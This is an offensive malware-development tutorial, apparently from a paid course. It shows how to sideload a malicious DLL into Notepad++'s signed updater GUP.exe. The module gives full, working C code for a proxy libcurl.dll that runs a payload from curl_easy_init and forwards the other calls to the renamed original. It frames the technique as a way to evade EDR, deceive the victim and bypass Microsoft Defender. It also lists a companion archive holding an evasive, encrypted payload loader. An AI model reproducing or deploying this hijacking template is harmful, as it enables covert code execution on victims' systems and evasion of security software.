Practical DLL Sideloading Example
In the preceding module, the DLL sideloading technique was introduced as an opsec strategy for loading payloads. It's essential to note that because the binary sideloaded in the...
Jump to Section (12)
Introduction
In the preceding module, the DLL sideloading technique was introduced as an opsec strategy for loading payloads. It's essential to note that because the binary sideloaded in the previous module, msdtc.exe, is a system binary originating from C:\Windows\System32, certain EDRs can detect anomalies. For example, they may identify that the msdtc.exe binary should typically reside in its original path, such as C:\Windows\System32, and not in C:\Users\User\Desktop. Consequently, even when the binary is not sideloaded with any malicious DLL, it might still raise flags within the EDR system.
One potential solution to this issue is to perform sideloading with applications that are signed by third-party software companies. This approach is less likely to trigger alerts in EDRs when executed from a different location.
Sideloading GUP.exe
This module will be targeting the GUP.exe executable file, an integral component of the WinGUp project. WinGUp serves as a configurable updater responsible for downloading update packages and performing installations. To connect to the internet and fetch the necessary files for an update, WinGUp relies on the cURL library.
It's worth noting that the Notepad++ text and source code editor utilizes WinGUp as its updater, which introduces a potential vulnerability to DLL sideloading in the event that GUP.exe is involved.
The GUP.exe binary is located in the C:\Program Files\Notepad++\updater directory, alongside the libcurl.dll DLL and the gup.xml file, which serves as Notepad++'s update configuration file.

To evaluate the GUP.exe binary for DLL sideloading capability, start by copying the binary into a new folder, as shown in the previous module. Next, launch Procmon and configure an event filter to exclusively capture events originating from the GUP.exe image. Afterward, execute the GUP.exe executable.
Upon running GUP.exe, a message box with the following error appears:

Adding a filter to display NAME NOT FOUND results only, shows how GUP.exe follows the DLL search order looking for the libcurl.dll file.

This situation presents an opportunity for an attacker with write access to any of the shown directories to potentially load a malicious DLL named libcurl.dll into the GUP.exe process. To investigate this scenario, a custom-built libcurl.dll DLL will be generated using the following code:
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}Moving the fake libcurl.dll file to the same directory of the GUP.exe image, and running GUP.exe. Procmon shows that our DLL was loaded successfully but the message box didn't pop up, and instead, the following error is displayed:

Investigating The Error
The error message indicates that GUP.exe was unable to resolve a function named curl_easy_setopt. Upon examining the IAT of GUP.exe, it becomes evident that curl_easy_setopt is one of its imported functions. This is shown in the image below, where a portion of the output from the dumpbin.exe /IMPORTS GUP.exe command is displayed.

This forces our custom-built libcurl.dll DLL to export these functions to resolve the error. However, even though this approach can lead to the execution of the payload, it's not ideal because the payload is still executed from the DllMain function. A more effective solution is to execute the payload from one of the exported functions. This approach ensures that whenever GUP.exe calls the targeted function, the payload is executed instead.
Finding a Target Function
To figure out which function is called from GUP.exe, the xdbg debugger will be used. Open the original GUP.exe located under C:\Program Files\Notepad++\updater and set a breakpoint on all of its exported functions as done in the below image.

After setting the breakpoints, resume execution past GUP.exe's entry point breakpoint. A breakpoint will be triggered at the curl_easy_init function, making it a suitable target for payload execution due to the fact that it's being executed.

The video below shows you how to set breakpoints on all of the exported functions.

Creating a Custom Libcurl DLL
With the target function identified being curl_easy_init, the next step is to recreate it within the code of the custom libcurl.dll. In addition to this, exporting the other required functions (curl_easy_setopt, curl_easy_cleanup, and curl_easy_perform) to meet GUP.exe's IAT requirements is accomplished in the following code snippet:
#include <Windows.h>
extern __declspec(dllexport) PVOID curl_easy_init() {
MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
return NULL;
}
extern __declspec(dllexport) PVOID curl_easy_setopt() {
return NULL;
}
extern __declspec(dllexport) PVOID curl_easy_cleanup() {
return NULL;
}
extern __declspec(dllexport) PVOID curl_easy_perform() {
return NULL;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}Once the custom libcurl.dll file is compiled, move it to the same directory as GUP.exe and run it. Keep in mind that gup.xml should also be placed in the same directory as GUP.exe otherwise the process will crash.

DLL Proxying
After the sideloaded GUP.exe process completes its call to the target function, curl_easy_init, the process terminates. This happens because the execution was hijacked but not resumed. In simpler terms, the custom curl_easy_init function did not hand over control to the original curl_easy_init function found in the legitimate libcurl.dll DLL file.
From an opsec perspective, this is considered a poor practice, particularly during the initial stages of an attack. During these phases, it is crucial to display the genuine binary's output to the target user to trick them into believing that they have installed the legitimate software. One approach to solve this problem is through DLL proxying the legitimate libcurl.dll file through the custom one, as demonstrated in the below image.

When proxying the function call to curl_easy_setopt, for instance, the custom libcurl.dll file will first forward the call to the original libcurl.dll file after loading it. Subsequently, it will return the result to GUP.exe, allowing the code execution to proceed uninterrupted.
However, in the case of GUP.exe calling our target function, curl_easy_init, the custom libcurl.dll file will first execute the payload and then invoke the original curl_easy_init function from the original libcurl.dll file to retrieve its output. This approach ensures that the payload is executed while maintaining the appearance of normal functionality in GUP.exe from the user's perspective.
Forwarded functions were first introduced in Module 81 Bypassing AVs.
Building The DLL Proxy
To facilitate the forwarding of function calls from the custom libcurl.dll file to the original one, the initial step involves renaming the original libcurl.dll to a different name, such as gup.dll. This ensures that the custom libcurl.dll file is the one that gets loaded into the GUP.exe process upon execution.
The next step is to incorporate the following code snippet into the libcurl.dll DLL code which will tell the compiler to export forwarded functions.
#pragma comment(linker,"/export:curl_easy_setopt=gup.curl_easy_setopt,@14")
#pragma comment(linker,"/export:curl_easy_cleanup=gup.curl_easy_cleanup,@1")
#pragma comment(linker,"/export:curl_easy_perform=gup.curl_easy_perform,@10")gupRepresents the newlibcurl.dllDLL name (i.e.gup.dll).@#Represents the ordinal number of the function in thegup.dllfile. The ordinal number can be retrieved by importinggup.dllinto PeBear. The image below shows the ordinals associated with each function.

Building curl_easy_init
The final function to build and export is curl_easy_init, which is the function responsible for executing the payload. Unlike other functions, curl_easy_init cannot be a forwarded function, as doing so would prevent the payload from executing. Consequently, the original curl_easy_init call should be manually forwarded, as demonstrated in the code snippet below.
The RunPayload function is executed within a separate thread to prevent the need for waiting for it to complete execution. This is done to expedite the return of curl_easy_init's output to GUP.exe as quickly as possible, thereby minimizing function delays and maintaining the appearance of normal behavior.
VOID RunPayload() {
MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
}
typedef PVOID(WINAPI* fncurl_easy_init)(); // https://curl.se/libcurl/c/curl_easy_init.html
extern __declspec(dllexport) PVOID curl_easy_init() {
HANDLE hModule = NULL;
fncurl_easy_init pcurl_easy_init = NULL;
// Running the payload
CreateThread(NULL, 0x00, RunPayload, NULL, 0x00, NULL);
// Running the original 'curl_easy_init' function
if (!(hModule = LoadLibrary(L"gup.dll")))
return NULL;
if (!(pcurl_easy_init = (fncurl_easy_init)GetProcAddress(hModule, "curl_easy_init")))
return NULL;
return pcurl_easy_init();
}Optional - Adding an Ordinal
Creating a module-definition file (.def) is an optional step to replicate curl_easy_init's ordinal number as found in the gup.dll file. While the concept of a .def file was introduced earlier in the module, to ensure that curl_easy_init consistently maintains a fixed ordinal value, the .def file should be structured as follows:
LIBRARY
EXPORTS
curl_easy_init @5 ; "curl_easy_init" is exported with ordinal 5 Complete DLL Code
#include <Windows.h>
#pragma comment(linker,"/export:curl_easy_setopt=gup.curl_easy_setopt,@14")
#pragma comment(linker,"/export:curl_easy_cleanup=gup.curl_easy_cleanup,@1")
#pragma comment(linker,"/export:curl_easy_perform=gup.curl_easy_perform,@10")VOID RunPayload() {
MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
}
typedef PVOID(WINAPI* fncurl_easy_init)();
extern __declspec(dllexport) PVOID curl_easy_init() {
HANDLE hModule = NULL;
fncurl_easy_init pcurl_easy_init = NULL;
// Running the payload
CreateThread(NULL, 0x00, RunPayload, NULL, 0x00, NULL);
// Running the original 'curl_easy_init' function
if (!(hModule = LoadLibrary(L"gup.dll")))
return NULL;
if (!(pcurl_easy_init = (fncurl_easy_init)GetProcAddress(hModule, "curl_easy_init")))
return NULL;
return pcurl_easy_init();
}BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}Demo
The image below shows how the GUP.exe process is executing normally, in addition to executing our payload.

Video Demo - Bypassing Microsoft Defender AV
In the following demonstration, the loader from the Building Evasive DLL Payload Loader module was used to simulate a realistic scenario of DLL sideloading. The payload loader's earlier code was modified to align with the requirements for sideloading by GUP.exe, as presented in this module. Additionally, the updated loader code is incorporated with the module's shared code.

Companion Project & Source Code
36 readable source/config files extracted directly from the archive
// @NUL0x4C | @mrd0x : MalDevAcademy
#include <Windows.h>
#pragma comment(linker,"/export:curl_easy_setopt=gup.curl_easy_setopt,@14")
#pragma comment(linker,"/export:curl_easy_cleanup=gup.curl_easy_cleanup,@1")
#pragma comment(linker,"/export:curl_easy_perform=gup.curl_easy_perform,@10")
VOID RunPayload() {
MessageBoxA(NULL, "This DLL is Side-Loaded!", "Success!", MB_OK | MB_ICONEXCLAMATION);
}
//\
https://curl.se/libcurl/c/curl_easy_init.html
typedef PVOID(WINAPI* fncurl_easy_init)();
extern __declspec(dllexport) PVOID curl_easy_init() {
HANDLE hModule = NULL;
fncurl_easy_init pcurl_easy_init = NULL;
// Running the payload
CreateThread(NULL, 0x00, RunPayload, NULL, 0x00, NULL);
// Running the original 'curl_easy_init' function
if (!(hModule = LoadLibrary(L"gup.dll")))
return NULL;
if (!(pcurl_easy_init = (fncurl_easy_init)GetProcAddress(hModule, "curl_easy_init")))
return NULL;
return pcurl_easy_init();
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Full Archive Manifest (47 files inside .zip)
- updater/PayloadLoader.zip
- updater/PayloadLoader/PayloadLoader/DllLoader/ApiHashing.c
- updater/PayloadLoader/PayloadLoader/DllLoader/Common.c
- updater/PayloadLoader/PayloadLoader/DllLoader/Common.h
- updater/PayloadLoader/PayloadLoader/DllLoader/CtAes.c
- updater/PayloadLoader/PayloadLoader/DllLoader/CtAes.h
- updater/PayloadLoader/PayloadLoader/DllLoader/Debug.c
- updater/PayloadLoader/PayloadLoader/DllLoader/Debug.h
- updater/PayloadLoader/PayloadLoader/DllLoader/DllLoader.vcxproj
- updater/PayloadLoader/PayloadLoader/DllLoader/DllLoader.vcxproj.filters
- updater/PayloadLoader/PayloadLoader/DllLoader/DllLoader.vcxproj.user
- updater/PayloadLoader/PayloadLoader/DllLoader/FunctionPntrs.h
- updater/PayloadLoader/PayloadLoader/DllLoader/HellsAsm.asm
- updater/PayloadLoader/PayloadLoader/DllLoader/HellsHall.c
- updater/PayloadLoader/PayloadLoader/DllLoader/IatCamo.h
- updater/PayloadLoader/PayloadLoader/DllLoader/Inject.c
- updater/PayloadLoader/PayloadLoader/DllLoader/ModuleDefinition.def
- updater/PayloadLoader/PayloadLoader/DllLoader/Payload.ctaes
- updater/PayloadLoader/PayloadLoader/DllLoader/Resource.h
- updater/PayloadLoader/PayloadLoader/DllLoader/Resource.rc
- updater/PayloadLoader/PayloadLoader/DllLoader/RsrcPayload.c
- updater/PayloadLoader/PayloadLoader/DllLoader/Structs.h
- updater/PayloadLoader/PayloadLoader/DllLoader/Unook.c
- updater/PayloadLoader/PayloadLoader/DllLoader/dllmain.c
- updater/PayloadLoader/PayloadLoader/HashCalculator/HashCalculator.c
- updater/PayloadLoader/PayloadLoader/HashCalculator/HashCalculator.vcxproj
- updater/PayloadLoader/PayloadLoader/HashCalculator/HashCalculator.vcxproj.filters
- updater/PayloadLoader/PayloadLoader/HashCalculator/HashCalculator.vcxproj.user
- updater/PayloadLoader/PayloadLoader/PayloadEncrypter/CTAES.c
- updater/PayloadLoader/PayloadLoader/PayloadEncrypter/CTAES.h
- updater/PayloadLoader/PayloadLoader/PayloadEncrypter/PayloadEncrypter.c
- updater/PayloadLoader/PayloadLoader/PayloadEncrypter/PayloadEncrypter.vcxproj
- updater/PayloadLoader/PayloadLoader/PayloadEncrypter/PayloadEncrypter.vcxproj.filters
- updater/PayloadLoader/PayloadLoader/PayloadEncrypter/PayloadEncrypter.vcxproj.user
- updater/PayloadLoader/PayloadLoader/PayloadLoader.sln
- updater/bin/GUP.exe
- updater/bin/gup.dll
- updater/bin/gup.xml
- updater/bin/libcurl.dll
- updater/bin/updater.ico
- updater/libcurl.zip
- updater/libcurl/libcurl/libcurl.sln
- updater/libcurl/libcurl/libcurl/DllMain.c
- updater/libcurl/libcurl/libcurl/ModuleDefinition.def
- updater/libcurl/libcurl/libcurl/libcurl.vcxproj
- updater/libcurl/libcurl/libcurl/libcurl.vcxproj.filters
- updater/libcurl/libcurl/libcurl/libcurl.vcxproj.user